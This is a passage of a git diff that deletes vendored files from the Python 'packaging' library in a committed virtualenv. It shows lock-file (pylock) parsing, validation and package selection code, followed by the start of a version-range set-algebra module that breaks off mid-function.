object.__setattr__(self, "url", url) - object.__setattr__(self, "path", path) - object.__setattr__(self, "size", size) - object.__setattr__(self, "hashes", hashes) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - package_wheel = cls( - name=_get(d, str, "name"), - upload_time=_get(d, datetime, "upload-time"), - url=_get(d, str, "url"), - path=_get(d, str, "path"), - size=_get(d, int, "size"), - hashes=_get_required_as(d, Mapping, _validate_hashes, "hashes"), # type: ignore[type-abstract] - ) - _validate_path_url(package_wheel.path, package_wheel.url) - return package_wheel - - @property - def filename(self) -> str: - """Get the filename of the wheel.""" - filename = self.name or _path_name(self.path) or _url_name(self.url) - if not filename: - raise PylockValidationError("Cannot determine wheel filename") - return filename - - -@dataclass(frozen=True, init=False) -class Package: - name: NormalizedName - version: Version | None = None - marker: Marker | None = None - requires_python: SpecifierSet | None = None - dependencies: Sequence[Mapping[str, Any]] | None = None - vcs: PackageVcs | None = None - directory: PackageDirectory | None = None - archive: PackageArchive | None = None - index: str | None = None - sdist: PackageSdist | None = None - wheels: Sequence[PackageWheel] | None = None - attestation_identities: Sequence[Mapping[str, Any]] | None = None - tool: Mapping[str, Any] | None = None - - def __init__( - self, - *, - name: NormalizedName, - version: Version | None = None, - marker: Marker | None = None, - requires_python: SpecifierSet | None = None, - dependencies: Sequence[Mapping[str, Any]] | None = None, - vcs: PackageVcs | None = None, - directory: PackageDirectory | None = None, - archive: PackageArchive | None = None, - index: str | None = None, - sdist: PackageSdist | None = None, - wheels: Sequence[PackageWheel] | None = None, - attestation_identities: Sequence[Mapping[str, Any]] | None = None, - tool: Mapping[str, Any] | None = None, - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "name", name) - object.__setattr__(self, "version", version) - object.__setattr__(self, "marker", marker) - object.__setattr__(self, "requires_python", requires_python) - object.__setattr__(self, "dependencies", dependencies) - object.__setattr__(self, "vcs", vcs) - object.__setattr__(self, "directory", directory) - object.__setattr__(self, "archive", archive) - object.__setattr__(self, "index", index) - object.__setattr__(self, "sdist", sdist) - object.__setattr__(self, "wheels", wheels) - object.__setattr__(self, "attestation_identities", attestation_identities) - object.__setattr__(self, "tool", tool) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - package = cls( - name=_get_required_as(d, str, _validate_normalized_name, "name"), - version=_get_as(d, str, Version, "version"), - requires_python=_get_as(d, str, SpecifierSet, "requires-python"), - dependencies=_get_sequence(d, Mapping, "dependencies"), # type: ignore[type-abstract] - marker=_get_as(d, str, Marker, "marker"), - vcs=_get_object(d, PackageVcs, "vcs"), - directory=_get_object(d, PackageDirectory, "directory"), - archive=_get_object(d, PackageArchive, "archive"), - index=_get(d, str, "index"), - sdist=_get_object(d, PackageSdist, "sdist"), - wheels=_get_sequence_of_objects(d, PackageWheel, "wheels"), - attestation_identities=_get_sequence(d, Mapping, "attestation-identities"), # type: ignore[type-abstract] - tool=_get(d, Mapping, "tool"), # type: ignore[type-abstract] - ) - distributions = bool(package.sdist) + len(package.wheels or []) - direct_urls = ( - bool(package.vcs) + bool(package.directory) + bool(package.archive) - ) - if distributions > 0 and direct_urls > 0: - raise PylockValidationError( - "None of vcs, directory, archive must be set if sdist or wheels are set" - ) - if distributions == 0 and direct_urls != 1: - raise PylockValidationError( - "Exactly one of vcs, directory, archive must be set " - "if sdist and wheels are not set" - ) - for i, wheel in enumerate(package.wheels or []): - try: - (name, version, _, _) = parse_wheel_filename(wheel.filename) - except Exception as e: - raise PylockValidationError( - f"Invalid wheel filename {wheel.filename!r}", - context=f"wheels[{i}]", - ) from e - if name != package.name: - raise PylockValidationError( - f"Name in {wheel.filename!r} is not consistent with " - f"package name {package.name!r}", - context=f"wheels[{i}]", - ) - if package.version and version != package.version: - raise PylockValidationError( - f"Version in {wheel.filename!r} is not consistent with " - f"package version {str(package.version)!r}", - context=f"wheels[{i}]", - ) - if package.sdist: - try: - name, version = parse_sdist_filename(package.sdist.filename) - except Exception as e: - raise PylockValidationError( - f"Invalid sdist filename {package.sdist.filename!r}", - context="sdist", - ) from e - if name != package.name: - raise PylockValidationError( - f"Name in {package.sdist.filename!r} is not consistent with " - f"package name {package.name!r}", - context="sdist", - ) - if package.version and version != package.version: - raise PylockValidationError( - f"Version in {package.sdist.filename!r} is not consistent with " - f"package version {str(package.version)!r}", - context="sdist", - ) - try: - for i, attestation_identity in enumerate( # noqa: B007 - package.attestation_identities or [] - ): - _get_required(attestation_identity, str, "kind") - except Exception as e: - raise PylockValidationError( - e, context=f"attestation-identities[{i}]" - ) from e - return package - - @property - def is_direct(self) -> bool: - return not (self.sdist or self.wheels) - - -@dataclass(frozen=True, init=False) -class Pylock: - """A class representing a pylock file.""" - - lock_version: Version - environments: Sequence[Marker] | None = None - requires_python: SpecifierSet | None = None - extras: Sequence[NormalizedName] | None = None - dependency_groups: Sequence[str] | None = None - default_groups: Sequence[str] | None = None - created_by: str # type: ignore[misc] - packages: Sequence[Package] # type: ignore[misc] - tool: Mapping[str, Any] | None = None - - def __init__( - self, - *, - lock_version: Version, - environments: Sequence[Marker] | None = None, - requires_python: SpecifierSet | None = None, - extras: Sequence[NormalizedName] | None = None, - dependency_groups: Sequence[str] | None = None, - default_groups: Sequence[str] | None = None, - created_by: str, - packages: Sequence[Package], - tool: Mapping[str, Any] | None = None, - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "lock_version", lock_version) - object.__setattr__(self, "environments", environments) - object.__setattr__(self, "requires_python", requires_python) - object.__setattr__(self, "extras", extras) - object.__setattr__(self, "dependency_groups", dependency_groups) - object.__setattr__(self, "default_groups", default_groups) - object.__setattr__(self, "created_by", created_by) - object.__setattr__(self, "packages", packages) - object.__setattr__(self, "tool", tool) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - pylock = cls( - lock_version=_get_required_as(d, str, Version, "lock-version"), - environments=_get_sequence_as(d, str, Marker, "environments"), - extras=_get_sequence_as(d, str, _validate_normalized_name, "extras"), - dependency_groups=_get_sequence(d, str, "dependency-groups"), - default_groups=_get_sequence(d, str, "default-groups"), - created_by=_get_required(d, str, "created-by"), - requires_python=_get_as(d, str, SpecifierSet, "requires-python"), - packages=_get_required_sequence_of_objects(d, Package, "packages"), - tool=_get(d, Mapping, "tool"), # type: ignore[type-abstract] - ) - if not Version("1") <= pylock.lock_version < Version("2"): - raise PylockUnsupportedVersionError( - f"pylock version {pylock.lock_version} is not supported" - ) - if pylock.lock_version > Version("1.0"): - _logger.warning( - "pylock minor version %s is not supported", pylock.lock_version - ) - return pylock - - @classmethod - def from_dict(cls, d: Mapping[str, Any], /) -> Self: - """Create and validate a Pylock instance from a TOML dictionary. - - Raises :class:`PylockValidationError` if the input data is not - spec-compliant. - """ - return cls._from_dict(d) - - def to_dict(self) -> Mapping[str, Any]: - """Convert the Pylock instance to a TOML dictionary.""" - return dataclasses.asdict(self, dict_factory=_toml_dict_factory) - - def validate(self) -> None: - """Validate the Pylock instance against the specification. - - Raises :class:`PylockValidationError` otherwise.""" - self.from_dict(self.to_dict()) - - def select( - self, - *, - environment: Environment | None = None, - tags: Sequence[Tag] | None = None, - extras: Collection[str] | None = None, - dependency_groups: Collection[str] | None = None, - prefer_sdist_predicate: Callable[[NormalizedName], bool] | None = None, - ) -> Iterator[ - tuple[ - Package, - PackageVcs - | PackageDirectory - | PackageArchive - | PackageWheel - | PackageSdist, - ] - ]: - """Select what to install from the lock file. - - The *environment* and *tags* parameters represent the environment being - selected for. If unspecified, ``packaging.markers.default_environment()`` and - ``packaging.tags.sys_tags()`` are used. - - The *extras* parameter represents the extras to install. - - The *dependency_groups* parameter represents the groups to install. If - unspecified, the default groups are used. - - The *prefer_sdist_predicate* parameter is called for packages with a source - distribution. If it returns ``True``, the source distribution is selected - before attempting wheel compatibility. If no source distribution is - available, wheel selection proceeds as usual without calling the predicate. - - This method must be used on valid Pylock instances (i.e. one obtained - from :meth:`Pylock.from_dict` or if constructed manually, after calling - :meth:`Pylock.validate`). - - .. versionadded:: 26.1 - - .. versionchanged:: 26.3 - Added the *prefer_sdist_predicate* parameter. - """ - compatible_tags_selector = create_compatible_tags_selector( - tags if tags is not None else sys_tags() - ) - - # #. Gather the extras and dependency groups to install and set ``extras`` and - # ``dependency_groups`` for marker evaluation, respectively. - # - # #. ``extras`` SHOULD be set to the empty set by default. - # #. ``dependency_groups`` SHOULD be the set created from - # :ref:`pylock-default-groups` by default. - env = cast( - "dict[str, str | frozenset[str]]", - dict( - environment or {}, # Marker.evaluate will fill-up - extras=frozenset(extras or []), - dependency_groups=frozenset( - (self.default_groups or []) - if dependency_groups is None # to allow selecting no group - else dependency_groups - ), - ), - ) - env_python_full_version = _pep440_python_full_version( - environment["python_full_version"] - if environment - else default_environment()["python_full_version"] - ) - - # #. Check if the metadata version specified by :ref:`pylock-lock-version` is - # supported; an error or warning MUST be raised as appropriate. - # Covered by lock.validate() which is a precondition for this method. - - # #. If :ref:`pylock-requires-python` is specified, check that the environment - # being installed for meets the requirement; an error MUST be raised if it is - # not met. - if self.requires_python and not self.requires_python.contains( - env_python_full_version, - ): - raise PylockSelectError( - f"python_full_version {env_python_full_version!r} " - f"in provided environment does not satisfy the Python version " - f"requirement {str(self.requires_python)!r}" - ) - - # #. If :ref:`pylock-environments` is specified, check that at least one of the - # environment marker expressions is satisfied; an error MUST be raised if no - # expression is satisfied. - if self.environments: - for env_marker in self.environments: - if env_marker.evaluate( - cast("dict[str, str]", environment or {}), context="requirement" - ): - break - else: - raise PylockSelectError( - "Provided environment does not satisfy any of the " - "environments specified in the lock file" - ) - - # #. For each package listed in :ref:`pylock-packages`: - selected_packages_by_name: dict[str, tuple[int, Package]] = {} - for package_index, package in enumerate(self.packages): - # #. If :ref:`pylock-packages-marker` is specified, check if it is - # satisfied;if it isn't, skip to the next package. - if package.marker and not package.marker.evaluate(env, context="lock_file"): - continue - - # #. If :ref:`pylock-packages-requires-python` is specified, check if it is - # satisfied; an error MUST be raised if it isn't. - if package.requires_python and not package.requires_python.contains( - env_python_full_version, - ): - raise PylockSelectError( - f"python_full_version {env_python_full_version!r} " - f"in provided environment does not satisfy the Python version " - f"requirement {str(package.requires_python)!r} for package " - f"{package.name!r} at packages[{package_index}]" - ) - - # #. Check that no other conflicting instance of the package has been slated - # to be installed; an error about the ambiguity MUST be raised otherwise. - if package.name in selected_packages_by_name: - raise PylockSelectError( - f"Multiple packages with the name {package.name!r} are " - f"selected at packages[{package_index}] and " - f"packages[{selected_packages_by_name[package.name][0]}]" - ) - - # #. Check that the source of the package is specified appropriately (i.e. - # there are no conflicting sources in the package entry); - # an error MUST be raised if any issues are found. - # Covered by lock.validate() which is a precondition for this method. - - # #. Add the package to the set of packages to install. - selected_packages_by_name[package.name] = (package_index, package) - - # #. For each package to be installed: - for package_index, package in selected_packages_by_name.values(): - # - If :ref:`pylock-packages-vcs` is set: - if package.vcs is not None: - yield package, package.vcs - - # - Else if :ref:`pylock-packages-directory` is set: - elif package.directory is not None: - yield package, package.directory - - # - Else if :ref:`pylock-packages-archive` is set: - elif package.archive is not None: - yield package, package.archive - - # - Else if source preference selects an available - # :ref:`pylock-packages-sdist`: - elif ( - package.sdist is not None - and prefer_sdist_predicate is not None - and prefer_sdist_predicate(package.name) - ): - yield package, package.sdist - - # - Else if there are entries for :ref:`pylock-packages-wheels`: - elif package.wheels: - # #. Look for the appropriate wheel file based on - # :ref:`pylock-packages-wheels-name`; if one is not found then move - # on to :ref:`pylock-packages-sdist` or an error MUST be raised about - # a lack of source for the project. - best_wheel = next( - compatible_tags_selector( - (wheel, parse_wheel_filename(wheel.filename)[-1]) - for wheel in package.wheels - ), - None, - ) - if best_wheel: - yield package, best_wheel - elif package.sdist is not None: - yield package, package.sdist - else: - raise PylockSelectError( - f"No wheel found matching the provided tags " - f"for package {package.name!r} " - f"at packages[{package_index}], " - f"and no sdist available as a fallback" - ) - - # - Else if no :ref:`pylock-packages-wheels` file is found or - # :ref:`pylock-packages-sdist` is solely set: - elif package.sdist is not None: - yield package, package.sdist - - else: - # Covered by lock.validate() which is a precondition for this method. - raise NotImplementedError # pragma: no cover diff --git a/venv/Lib/site-packages/packaging/ranges.py b/venv/Lib/site-packages/packaging/ranges.py deleted file mode 100644 index 8144a65c4d2ea0b9f9946d795e556221ca9b9438..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/ranges.py +++ /dev/null @@ -1,2067 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. -"""Public :class:`VersionRange` API. - -A set-algebra view of the versions accepted by a -:class:`~packaging.specifiers.SpecifierSet`. Ranges support intersection, -union, complement, and difference; membership and filtering match the -originating specifier set; and conversion back to a -:class:`~packaging.specifiers.SpecifierSet` is available where a PEP 440 form -exists. - -.. testsetup:: - - from packaging.ranges import VersionRange - from packaging.specifiers import SpecifierSet - from packaging.version import Version -""" - -from __future__ import annotations - -import enum -import typing -from typing import ( - TYPE_CHECKING, - Any, - TypeVar, - Union, -) - -from ._ranges import ( - FULL_RANGE, - MIN_VERSION, - NEG_INF, - POS_INF, - BoundaryKind, - BoundaryVersion, - LowerBound, - UpperBound, - coerce_version, - filter_by_ranges, - intersect_ranges, - least_version_above, - matches_bounds_only, - range_is_empty, - ranges_are_prerelease_only, - trim_release, -) -from .version import Version - -if TYPE_CHECKING: - from collections.abc import Callable, Iterable, Iterator, Sequence - - from ._ranges import Interval - from .specifiers import SpecifierSet - - -__all__ = ["VersionRange"] - -T = TypeVar("T") -UnparsedVersion = Union[Version, str] -UnparsedVersionVar = TypeVar("UnparsedVersionVar", bound=UnparsedVersion) - -#: The most ``!=`` exclusion fragments (``!=V`` points or ``!=P.*`` prefixes) -#: that :meth:`VersionRange.to_specifier_set` will materialize to spell a -#: single gap or run. Every site that expands a version-number-driven chain -#: charges it against this cap, and chains that spell one gap together share -#: it (see :func:`_decompose_dev0_gap` and :func:`_encode_gap`), -#: so no gap ever materializes more than this many exclusions. Past the cap -#: the recovery returns ``None`` rather than emit the unbounded chain a range -#: such as ``==5.* | ==1000000.*`` would otherwise drive. -_MAX_EXCLUSION_RUN = 128 - - -class _SetOp(enum.Enum): - """The binary set operation ``_combine_literals`` resolves over ``===`` literals.""" - - INTERSECTION = enum.auto() - UNION = enum.auto() - DIFFERENCE = enum.auto() - - -def __dir__() -> list[str]: - return __all__ - - -# Range algebra: intersection and the empty-interval test live in the engine -# (``intersect_ranges`` / ``range_is_empty``); union and complement are only -# needed here, so they live in this module. - - -def _union_ranges( - left: Sequence[Interval], - right: Sequence[Interval], -) -> list[Interval]: - """Union two sorted, non-overlapping interval lists. - - A linear merge over the two pre-sorted inputs followed by a single - coalescing pass: adjacent or overlapping intervals collapse so the result - is itself sorted and non-overlapping. - """ - if not left: - return list(right) - if not right: - return list(left) - - merged_input: list[Interval] = [] - left_index = right_index = 0 - while left_index < len(left) and right_index < len(right): - if left[left_index][0] <= right[right_index][0]: - merged_input.append(left[left_index]) - left_index += 1 - else: - merged_input.append(right[right_index]) - right_index += 1 - merged_input.extend(left[left_index:]) - merged_input.extend(right[right_index:]) - - merged: list[Interval] = [merged_input[0]] - for lower, upper in merged_input[1:]: - prev_lower, prev_upper = merged[-1] - - if ( - prev_upper.version is None - or lower.version is None - or prev_upper.version > lower.version - ): - overlaps = True - elif prev_upper.version == lower.version: - overlaps = prev_upper.inclusive or lower.inclusive - else: - # An ordering gap may still hold no version when the two bounds - # straddle a synthetic boundary; merge across an empty gap to - # stay canonical. - gap_lower = LowerBound(prev_upper.version, not prev_upper.inclusive) - gap_upper = UpperBound(lower.version, not lower.inclusive) - overlaps = range_is_empty(gap_lower, gap_upper) - - if overlaps: - merged[-1] = (prev_lower, max(prev_upper, upper)) - else: - merged.append((lower, upper)) - - return merged - - -def _complement_ranges(ranges: Sequence[Interval]) -> list[Interval]: - """Complement a sorted, non-overlapping interval list. - - Yields the gaps between intervals plus a leading gap before the first and - a trailing gap after the last. Bound inclusivity flips so that - complement-of-complement round-trips back to the input. - """ - if not ranges: - return list(FULL_RANGE) - - result: list[Interval] = [] - prev_upper: UpperBound | None = None - - for lower, upper in ranges: - if prev_upper is None: - # Leading gap below the first interval. Every range reaching here is - # floor-canonical: ``_canonical_floor`` has already folded an - # inclusive lower at or below ``0.dev0`` into ``-inf``. So a finite - # first lower always leaves a non-empty gap down to ``-inf``, while a - # ``-inf`` lower leaves no leading gap at all. - if lower.version is not None: - gap_upper = UpperBound(lower.version, not lower.inclusive) - result.append((NEG_INF, gap_upper)) - else: - gap_lower = LowerBound(prev_upper.version, not prev_upper.inclusive) - gap_upper = UpperBound(lower.version, not lower.inclusive) - # Input intervals are canonical (sorted, disjoint, non-touching), - # so the gap between two of them always holds at least one version. - result.append((gap_lower, gap_upper)) - prev_upper = upper - - # The empty-input early return guarantees the loop ran. - assert prev_upper is not None - if prev_upper.version is not None: - gap_lower = LowerBound(prev_upper.version, not prev_upper.inclusive) - result.append((gap_lower, POS_INF)) - - return result - - -def _canonical_floor(bounds: tuple[Interval, ...]) -> tuple[Interval, ...]: - """Collapse the PEP 440 floor in a sorted interval list. - - Only the first interval can touch ``0.dev0`` (the minimum version). An - inclusive lower at or below it admits everything below, the same as - ``-inf``, so ``>=0.dev0`` becomes the one canonical full range. An - exclusive upper at or below it leaves the interval empty, so it is dropped. - """ - if not bounds: - return bounds - - lower, upper = bounds[0] - if range_is_empty(NEG_INF, upper): - return bounds[1:] - - if ( - lower.inclusive - and isinstance(lower.version, Version) - and lower.version <= MIN_VERSION - ): - return ((NEG_INF, upper), *bounds[1:]) - - return bounds - - -def _predecessor_boundary(version: Version) -> BoundaryVersion | None: - """The boundary whose least successor is *version*, or ``None``. - - Inverse of :func:`~packaging._ranges.least_version_above`. A plain version - that is exactly such a successor (``1.0a2.dev0`` sits just above - ``AFTER_POSTS(1.0a1)``) folds back to that boundary, so ``>=1.0a2.dev0`` and - ``>1.0a1`` share one form. The proposed boundary is confirmed by - round-tripping through ``least_version_above``. - """ - # Only a least successor carries a dev segment, so nothing else can fold. - if version.dev is None: - return None - - candidate: BoundaryVersion | None = None - if version.pre is not None and version.dev == 0 and version.post is None: - # 1.0a2.dev0 -> AFTER_POSTS(1.0a1) - kind, number = version.pre - if number >= 1: - candidate = BoundaryVersion( - version.__replace__(pre=(kind, number - 1), dev=None), - BoundaryKind.AFTER_POSTS, - ) - elif version.dev >= 1: - # 1.0.dev3 -> AFTER_LOCALS(1.0.dev2) - candidate = BoundaryVersion( - version.__replace__(dev=version.dev - 1), BoundaryKind.AFTER_LOCALS - ) - elif version.dev == 0 and version.post is not None: - # 1.0.post1.dev0 -> AFTER_LOCALS(1.0.post0); 1.0.post0.dev0 -> AFTER_LOCALS(1.0) - base = ( - version.__replace__(post=None, dev=None) - if version.post == 0 - else version.__replace__(post=version.post - 1, dev=None) - ) - candidate = BoundaryVersion(base, BoundaryKind.AFTER_LOCALS) - - if candidate is not None and least_version_above(candidate) == version: - return candidate - return None - - -def _canonicalize(bounds: tuple[Interval, ...]) -> tuple[Interval, ...]: - """Fold least-successor bounds to their boundary form. - - ``>=1.0a2.dev0`` and ``>1.0a1`` denote the same set, so both must reduce to - one representation for ``==`` and ``hash`` to agree. An inclusive lower or - exclusive upper sitting on a boundary's least successor becomes that - boundary; the engine's emptiness check has already dropped the synthetic - gaps such intervals would otherwise leave. - """ - result: list[Interval] = [] - for lower, upper in bounds: - new_lower, new_upper = lower, upper - - if isinstance(lower.version, Version) and lower.inclusive: - boundary = _predecessor_boundary(lower.version) - if boundary is not None: - new_lower = LowerBound(boundary, inclusive=False) - - if isinstance(upper.version, Version) and not upper.inclusive: - boundary = _predecessor_boundary(upper.version) - if boundary is not None: - new_upper = UpperBound(boundary, inclusive=True) - - result.append((new_lower, new_upper)) - return tuple(result) - - -def _struct_admits( - bounds: tuple[Interval, ...], admit_arbitrary: bool, literal: str -) -> bool: - """True when the bounds (plus arbitrary admission) admit ``literal``. - - Skips the explicit admit/reject sets, which the caller layers on top. A - non-version string matches via ``admit_arbitrary`` only on full bounds; - on narrower bounds the flag is metadata only. - """ - parsed = coerce_version(literal) - if parsed is None: - return admit_arbitrary and bounds == FULL_RANGE - - return matches_bounds_only(bounds, parsed) - - -# Repr helpers: - - -def _bound_version_str(value: BoundaryVersion | Version) -> str: - """Printout for a bound's inner value, kind-tagged for boundaries.""" - if isinstance(value, BoundaryVersion): - return f"{value.version}[{value.kind.name}]" - return str(value) - - -def _format_lower(bound: LowerBound) -> str: - if bound.version is None: - return "(-inf" - bracket = "[" if bound.inclusive else "(" - return f"{bracket}{_bound_version_str(bound.version)}" - - -def _format_upper(bound: UpperBound) -> str: - if bound.version is None: - return "+inf)" - bracket = "]" if bound.inclusive else ")" - return f"{_bound_version_str(bound.version)}{bracket}" - - -def _format_intervals(intervals: Sequence[Interval]) -> str: - """Render a sorted interval list as ``lower, upper | lower, upper``.""" - return " | ".join( - f"{_format_lower(lower)}, {_format_upper(upper)}" for lower, upper in intervals - ) - - -# ``to_specifier_set`` recovery: encode a range's interval list back into -# specifier fragments. Each helper returns ``None`` when its shape has no -# PEP 440 form. The ``keep_dev0`` argument threaded through is a spelling -# mode, not a pre-release policy: false emits a prerelease-free form (no -# synthetic ``.dev0``, so the recovered range has an empty opt-in region), -# true keeps the ``.dev0`` markers (so the range opts its bounds in). -# ``to_specifier_set`` encodes in both modes and keeps whichever round-trips. -# -# Bound and interval encoding: turn one interval's bounds into fragments. - - -def _is_dev0_version(version: Version) -> bool: - """True when version is exactly ``X[.Y]*.dev0`` (the shape `` list[str] | None: - """A prerelease-free spelling for an inclusive ``[version`` lower, or ``None``. - - Several ``[V`` lowers come from an operator whose own spelling carries no - synthetic ``.dev0``. Recovering that spelling gives the range an empty opt-in - region, so it is offered in the prerelease-free spelling mode (see - :meth:`VersionRange.to_specifier_set`). - """ - if version.dev != 0 or version.pre is not None or version.local is not None: - return None - - # ``[B.post(k).dev0`` is the lower ``>B.post(k-1)`` builds (k >= 1). - if version.post is not None: - if version.post < 1: - return None - return [f">{version.__replace__(post=version.post - 1, dev=None)}"] - - # ``[F.dev0`` is family F's base. The prefix P just below F has - # ``==P.* == [P.dev0, F.dev0)``, so ``>=P,!=P.*`` lands exactly on ``[F.dev0``. - family = trim_release(version.release) - last = family[-1] - if last < 1: - return None - - below_release = (*family[:-1], last - 1) - below = Version.from_parts(epoch=version.epoch, release=below_release) - - # At the epoch-0 floor ``==P.*`` already reaches ``0.dev0``, so the ``>=P`` - # half is redundant: ``[1.dev0, +inf)`` is plain ``!=0.*``. - if version.epoch == 0 and not any(below_release): - return [f"!={below}.*"] - - return [f">={below}", f"!={below}.*"] - - -def _epoch_floor_lower( - lower: LowerBound, upper: UpperBound -) -> tuple[Version, int, bool] | None: - """The ``E!0`` family of a lower sitting on an epoch>0 zero-family floor. - - An epoch>0 zero-family base such as ``1!0.dev0`` has no ``>=P,!=P.*`` spelling - since no version sorts below ``E!0`` within the epoch. While the interval - stays within ``==E!0.*`` it is that wildcard, trimmed by the upper and with a - leading ``.dev`` run excluded: an ``AFTER_LOCALS(E!0.dev(k))`` lower drops - ``E!0.dev0..E!0.dev(k)``, a plain inclusive ``E!0.dev0`` lower drops none. - Returns the ``E!0`` family, how many leading ``.dev`` releases to exclude, and - whether the upper sits at the family cap (so ``==E!0.*`` needs no upper), else - ``None``. - """ - version = lower.version - if isinstance(version, BoundaryVersion): - if version.kind != BoundaryKind.AFTER_LOCALS: - return None - version = version.version - if version.dev is None: - return None - excluded_devs = version.dev + 1 - elif isinstance(version, Version) and lower.inclusive: - # A plain inclusive lower only reaches the floor as ``>=E!0.dev0``; - # higher ``.dev`` would have canonicalized to an AFTER_LOCALS boundary. - if version.dev != 0: - return None - excluded_devs = 0 - else: - return None - - # Only the bare ``E!0`` floor of a non-zero epoch qualifies. - if version.epoch == 0: - return None - if version.pre is not None or version.post is not None or version.local is not None: - return None - if any(trim_release(version.release)): - return None - - # ``==E!0.*`` spans ``[E!0.dev0, E!1.dev0)``; it fits only below that cap. - next_family = Version.from_parts(epoch=version.epoch, release=(1,), dev=0) - cap = UpperBound(next_family, False) - if upper > cap: - return None - - family = Version.from_parts(epoch=version.epoch, release=(0,)) - return family, excluded_devs, upper == cap - - -def _dev_family_anchor(family: Version) -> list[str] | None: - """Prerelease-free fragments for ``[family, ..)``, or ``None`` if it has none. - - ``family`` is an ``X.dev0``. The floor gives ``[]`` (every version); a release - base its ``_clean_lower`` family-floor spelling (``!=0.*`` ...); an ``X.post0`` - base ``>=X,!=X``. A pre-release base has no prerelease-free spelling. - """ - if family <= MIN_VERSION: - return [] - clean = _clean_lower(family) - if clean is not None: - return clean - if family.pre is None and family.post == 0: - base = family.__replace__(post=None, dev=None) - return [f">={base}", f"!={base}"] - return None - - -def _encode_lower(lower: LowerBound, keep_dev0: bool) -> list[str] | None: - """Encode a lower bound as specifier fragments, or ``None``. - - ``[]`` for ``-inf``. An ``AFTER_POSTS(V)`` lower is ``>V``. An - ``AFTER_LOCALS(V)`` lower is the set ``[successor, ..)`` and emits ``>=V,!=V``, - except in the prerelease-free spelling mode (``keep_dev0`` false), where it - recovers a spelling with no synthetic ``.dev0`` when one exists: - ``>3.8.post1`` for a post release, or a dev family's anchor plus the dev run - up to V for a ``.dev`` release. - """ - lower_version = lower.version - if lower_version is None: - return [] - - if isinstance(lower_version, BoundaryVersion): - if lower_version.kind == BoundaryKind.AFTER_POSTS: - # AFTER_POSTS only ever appears as an exclusive ``>V`` lower. - return [f">{lower_version.version}"] - inner = lower_version.version - if inner <= MIN_VERSION: - # The ``(-inf, V)`` side was dropped at the floor, so the lone - # ``(AFTER_LOCALS(0.dev0), +inf)`` interval is exactly ``!=0.dev0``. - return [f"!={inner}"] - # An ``(AFTER_LOCALS(V), ..)`` lower is the set ``[successor, ..)``. In - # the prerelease-free mode, recover a spelling with no synthetic ``.dev0`` - # so the range's opt-in region stays empty. - if not keep_dev0: - if inner.dev is not None: - # A ``.dev`` V makes ``[successor, ..)`` its dev family's - # prerelease-free anchor minus the finite dev run up to ``V`` - # (e.g. ``>=1.0,!=1.0,!=1.0.post0.dev0``), carrying no synthetic - # ``.dev0``. - family = inner.__replace__(dev=0) - anchor = _dev_family_anchor(family) - if anchor is not None: - if inner.dev + 1 > _MAX_EXCLUSION_RUN: - return None - run = [ - f"!={family.__replace__(dev=d)}" for d in range(inner.dev + 1) - ] - return anchor + run - else: - # A ``.post`` release recovers its prerelease-free ``>`` spelling - # from the successor (``>3.8.post1`` for ``AFTER_LOCALS(3.8.post1)``). - successor = least_version_above(lower_version) - clean = _clean_lower(successor) if successor is not None else None - if clean is not None: - return clean - # Otherwise it is ``[V, ..)`` minus V's local family, i.e. ``>=V,!=V``. - # The prerelease-free recoveries above have already returned in that mode; - # a residual ``.dev`` V here opts pre-releases in, so this spelling round - # trips only for a range whose opt-in region wants it. - return [f">={inner}", f"!={inner}"] - - if not lower.inclusive: - return None - - # In the prerelease-free mode a ``.dev0`` lower prefers its clean spelling. - if not keep_dev0: - clean = _clean_lower(lower_version) - if clean is not None: - return clean - return [f">={lower_version}"] - - -def _encode_upper(upper: UpperBound, keep_dev0: bool) -> list[str] | None: - """Encode an upper bound as specifier fragments, or ``None``. - - ``[]`` for ``+inf``. In the prerelease-free spelling mode (``keep_dev0`` - false) the `` Version | None: - """If ``[lower, upper)`` is the ``==V.*`` shape, return ``V``.""" - if isinstance(lower.version, BoundaryVersion) or isinstance( - upper.version, BoundaryVersion - ): - return None - if lower.version is None or upper.version is None: - return None - if not lower.inclusive or upper.inclusive: - return None - if not (_is_dev0_version(lower.version) and _is_dev0_version(upper.version)): - return None - if lower.version.epoch != upper.version.epoch: - return None - - lower_release = trim_release(lower.version.release) - upper_release = trim_release(upper.version.release) - padded_length = max(len(lower_release), len(upper_release)) - assert padded_length > 0 - lower_release += (0,) * (padded_length - len(lower_release)) - upper_release += (0,) * (padded_length - len(upper_release)) - - if lower_release[:-1] != upper_release[:-1]: - return None - - # A genuine ``==V.*`` spans one family: the upper is exactly the next prefix. - # A wider span like ``[3.8.dev0, 3.14.dev0)`` shares the prefix but is not a - # single wildcard, so it falls through to the generic ``>=...,<...`` form. - if upper_release[-1] != lower_release[-1] + 1: - return None - - return lower.version.__replace__(release=lower_release, dev=None) - - -def _encode_interval( - lower: LowerBound, upper: UpperBound, keep_dev0: bool -) -> list[str] | None: - """Encode one interval as specifier fragments, or ``None``. - - Special-cases the ``==V`` singleton (``[V, AFTER_LOCALS(V)]`` for a plain - ``V``, and ``[V+local, V+local]`` for a local one) and the ``==V.*`` shape - so the fragment is one equality rather than a bound pair. - """ - # ``[V+local, V+local]`` (an inclusive local point) is the singleton ``==V+local``. - if ( - lower.version is not None - and upper.version is not None - and not isinstance(lower.version, BoundaryVersion) - and not isinstance(upper.version, BoundaryVersion) - and lower.inclusive - and upper.inclusive - and lower.version == upper.version - and lower.version.local is not None - ): - return [f"=={lower.version}"] - - # ``[V, AFTER_LOCALS(V)]`` (V without a local) is the singleton ``==V``, - # which also matches V's local family: one equality, not ``>=V,<=V``. - if ( - isinstance(lower.version, Version) - and lower.inclusive - and upper.inclusive - and isinstance(upper.version, BoundaryVersion) - and upper.version.kind == BoundaryKind.AFTER_LOCALS - and upper.version.version == lower.version - ): - return [f"=={lower.version}"] - - wildcard = _detect_equal_wildcard(lower, upper) - if wildcard is not None: - return [f"=={wildcard}.*"] - - # A ``[E!0.dev0`` lower has no prerelease-free ``>=`` spelling; within its own - # family it is ``==E!0.*`` trimmed by the upper. - floor = _epoch_floor_lower(lower, upper) if not keep_dev0 else None - if floor is 